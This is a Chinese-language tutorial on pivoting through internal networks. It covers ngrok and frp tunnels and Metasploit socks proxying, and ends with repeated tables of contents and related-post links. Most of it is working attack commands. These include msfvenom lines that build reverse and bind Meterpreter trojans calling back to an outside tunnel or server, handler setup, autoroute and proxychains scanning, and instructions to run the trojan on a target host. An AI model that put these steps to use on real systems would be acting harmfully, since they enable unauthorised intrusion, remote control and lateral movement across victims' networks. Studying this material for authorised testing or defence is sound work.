内网安全：Socks 代理 || 本地代理技术.

Socks 代理又称全能代理，就像有很多跳线的转接板，它只是简单地将一端的系统连接到另外一端。支持多种协议，包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型，socks 4只支持TCP协议而socks 5支持TCP/UDP协议，还支持各种身份验证机制等协议。其标准端口为1080.

两个内网通讯上线（ Ngrok ）

开通隧道工具：https://www.ngrok.cc/user.html

理解：二个内网主机不能相互连接的，这样就可以通过开通的隧道进行连接.
（开通的隧道就是在外网开通一个域名：当目标访问这个域名，则会将数据返还回来到kali中）

（1）开通隧道：

（2）下载客户端：

解压放到 kali 中：（切换的刚刚下载的文件目录中）（1）./sunny clientid 115735315695        // 执行 ./sunny clientid 隧道的IP

（3）生成一个程序后门：（木马）

msfvenom -p windows/meterpreter/reverse_http lhost=bgxg.free.idcfengye.com lport=80 -f exe -o bgxg.exe

（4）进行监听：（kali）

（1）msfconsole（2）use exploit/multi/handler（3）set payload windows/meterpreter/reverse_http（4）set lhost 192.168.0.106        // 本地的 IP 地址（5）set lport 4444                 // 本地的 端口.（6）exploit

两个内网通讯上线（ Frp 自建跳板）

（1）跳板环境搭建：

需要有自己的服务器，有来搭建跳板.

【服务器 和 控制端】需要下载的工具：https://github.com/fatedier/frp/releases

服务器修改配置文件 frps.ini：
[common]
bind_port = 6677            // 这个端口修改为 服务器 开放的就行启动服务端：【切换在下载的目录并执行】
./frps -c ./frps.ini

控制端修改配置文件 frpc.ini：
[common]
server_addr = 云主机 IP 地址
server_port = 6677                 // frpc 工作端口，必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555                  // 转发给本机的 5555
remote_port = 6000                 // 服务端用 6000 端口转发给本机启动客户端：【切换在下载的目录并执行】
./frpc -c ./frpc.ini

（2）生成程序后面：（木马）

msfvenom -p windows/meterpreter/reverse_tcp lhost=服务器（公网）的IP地址 lport=6000 -f exe -o frp.exe

（3）进行监听：（kali）

（1）msfconsole（2）use exploit/multi/handler（3）set payload windows/meterpreter/reverse_tcp（4）set LHOST 127.0.0.1    （5）set LPORT 5555        // 本机监听的端口【和控制端的一样】（6）exploit然后把程序后门（木马）放在目标主机上执行就行.

本地代理：（ MSF 跳板多个内网主机系列）

第二层内网代理：

（1）信息收集及配置访问：

（1）run get_local_subnets            // 获取网络接口（2）run autoroute -p                 // 查看路由地址（3）run autoroute -s 10.0.20.0/24    // 添加地二层内网的路由网段.或（3）run post/multi/manage/autoroute        // 自动添加，目前所有路由网段

（2）开启本地代理：

background                            // 挂起会话如果是msf6，使用代理模板为：use auxiliary/server/socks_proxy如果是msf5，使用代理模板为：use auxiliary/server/socks4a

（1）set srvport 2222        // 设置本地代理端口为2222（2）exploit                 // 运行

（3）内网扫描：

打开 /etc/proxychains4.conf 文件：socks4 192.168.0.106 2222                // 添加 本地的代理和端口

进行扫描：proxychains4 nmap -sT -Pn 10.0.20.0/24 -p 80 -Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护.-sT：扫描 TCP 数据包已建立的连接 connect

（4）浏览器访问：

第三层内网代理：

（1）生成正向程序后门：

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=54321 -f exe > 54321.exe

（2）进行监听：

要在和上面一样的 msf 会话中执行.（1）use exploit/multi/handler    （2）set payload windows/x64/meterpreter/bind_tcp（3）set rhost 10.0.20.99                // 第二层内网的 IP 地址（4）set lport 54321                     // 和程序后面（木马）一样的端口（5）exploit

（3）信息收集及配置访问：

（1）run get_local_subnets            // 获取网络接口（2）run autoroute -p                 // 查看路由地址（3）run post/multi/manage/autoroute        // 自动添加，目前所有路由网段.

（4）开启本地代理：

background                            // 挂起会话如果是msf6，使用代理模板为：use auxiliary/server/socks_proxy如果是msf5，使用代理模板为：use auxiliary/server/socks4a

（1）set srvport 6666        // 默认端口6666（2）exploit                 // 运行

第四层内网渗透：

（1）生成正向程序后门：

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=9876 -f exe > 9876.exe

（2）进行监听：

要在和上面一样的 msf 会话中执行.（1）use exploit/multi/handler    （2）set payload windows/x64/meterpreter/bind_tcp（3）set rhost 10.0.10.110                // 第二层内网的 IP 地址（4）set lport 9876                     // 和程序后面（木马）一样的端口（5）exploit

学习链接：第70天：内网安全-域横向内网漫游Socks代理隧道技术_哔哩哔哩_bilibili

内网安全：Socks 代理 || 本地代理技术.相关推荐

内网安全学习(六)—域横向-内网漫游: Socks 代理
内网安全-域横向内网漫游 Socks 代理隧道技术 1.前置知识: 1)正向与反向连接: 正向就是你去连接被控主机,但由于机器处于内网内,分配的内网ip,无法直接找到,所以需要方向连接,即让主机连接我 ...
内网渗透建立代理通道(如何攻击目标内网机器?)-Socks代理(ﾟ益ﾟメ) 渗透测试
文章目录搭建靶场配置虚拟机网络虚拟机上线目标1(Target1) Socks代理简介正向代理反向代理 FRP 一层代理二层代理(多层代理) EW 正向代理反向代理二层代理流量转发 ...
内网linux服务器通过CCproxy代理上网
内网linux服务器通过CCproxy代理上网安装CCproxy软件配置网络代理端口设置账号服务器端本教程记录了通过局域网内能访问外网的Windows平台,使用CCproxy代理使内网节点 ...
内网Linux服务器如何通过代理方式访问外网
在目前5G网络和互联网高速发展的时代,还有云计算的普及,但是考虑到很多安全的因素考虑,在现实工作中,很多时候需要脱离外网进入linux,这样导致工作的效率大幅度减低,下面介绍几种通过代理的方式访问内网 ...
git远程外网地址变内网怎么破(ssh本地端口转发)
git远程外网地址变内网怎么破(ssh本地端口转发)? 最近给longtubas上了负载均衡,相对来说我们并发并不高,但希望可用性尽可能高,本来打算用不饱和的机器做个lvs集群的, 但IDC说给个额外 ...
【内网安全】域横向内网漫游Socks代理隧道技术
代理技术和隧道技术都属于内网穿透,代理主要解决内网里面通信的问题(比如对方在内网,你也在内网,这时候两个内网实现通信就必须要经过代理才能实现,常见工具有frp.ngrok和ew等,ew(earthwo ...
内网安全-域横向内网漫游Socks代理隧道技术
因为是两个局域网当你用kali生成一个后门文件放到目标主机设置后门的反弹地址时,设置为你的外网地址时,后们会将信息反弹到你的路由器上设置为内网地址时,又找不到你案例 1-内网穿透 Ngrok ...
红蓝对抗之隧道技术第一篇（内网穿透、端口映射端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向）
文章目录隧道应用端口映射&端口转发 Netsh端口转发 Netsh端口转发meterpreter CS正向连接多层内网 CS反向连接多层内网 Burp设置上游代理访问内网 MSF prot ...
让AWS虚机访问公司内网资源（SSH反向代理）
背景说明今天我要将AWS虚机升级到beta版本并进行一些测试. 由于beta版本只在公司内网提供,因此我需要将升级用的文件手动拷贝到AWS虚机中.原始的方法,很容易理解: 用AWS上能找到的最新版本 ...

内网安全：Socks 代理 || 本地代理技术.

内网安全：Socks 代理 || 本地代理技术.

目录：

两个内网通讯上线（ Ngrok ）

（1）开通隧道：

（2）下载客户端：

（3）生成一个程序后门：（木马）

（4）进行监听：（kali）

两个内网通讯上线（ Frp 自建跳板）

（1）跳板环境搭建：

（2）生成程序后面：（木马）

（3）进行监听：（kali）

本地代理：（ MSF 跳板多个内网主机系列）

第二层内网代理：

（1）信息收集及配置访问：

（2）开启本地代理：

（3）内网扫描：

（4）浏览器访问：

第三层内网代理：

（1）生成正向程序后门：

（2）进行监听：

（3）信息收集及配置访问：

（4）开启本地代理：

第四层内网渗透：

（1）生成正向程序后门：

（2）进行监听：

内网安全：Socks 代理 || 本地代理技术.相关推荐

最新文章

热门文章

内网安全：Socks 代理 || 本地代理 技术.

内网安全：Socks 代理 || 本地代理 技术.

目录：

两个内网通讯上线（ Ngrok ）

（1）开通隧道：

（2）下载客户端：

（3）生成一个程序后门：（木马）

（4）进行监听：（kali）

两个内网通讯上线（ Frp 自建跳板 ）

（1）跳板环境搭建：

（2）生成程序后面：（木马）

（3）进行监听：（kali）

本地代理：（ MSF 跳板多个内网主机系列）

第二层内网代理：

（1）信息收集及配置访问：

（2）开启本地代理：

（3）内网扫描：

（4）浏览器访问：

第三层内网代理：

（1）生成正向程序后门：

（2）进行监听：

（3）信息收集及配置访问：

（4）开启本地代理：

第四层内网渗透：

（1）生成正向程序后门：

（2）进行监听：

内网安全：Socks 代理 || 本地代理 技术.相关推荐

最新文章

热门文章

内网安全：Socks 代理 || 本地代理技术.

内网安全：Socks 代理 || 本地代理技术.

两个内网通讯上线（ Frp 自建跳板）

内网安全：Socks 代理 || 本地代理技术.相关推荐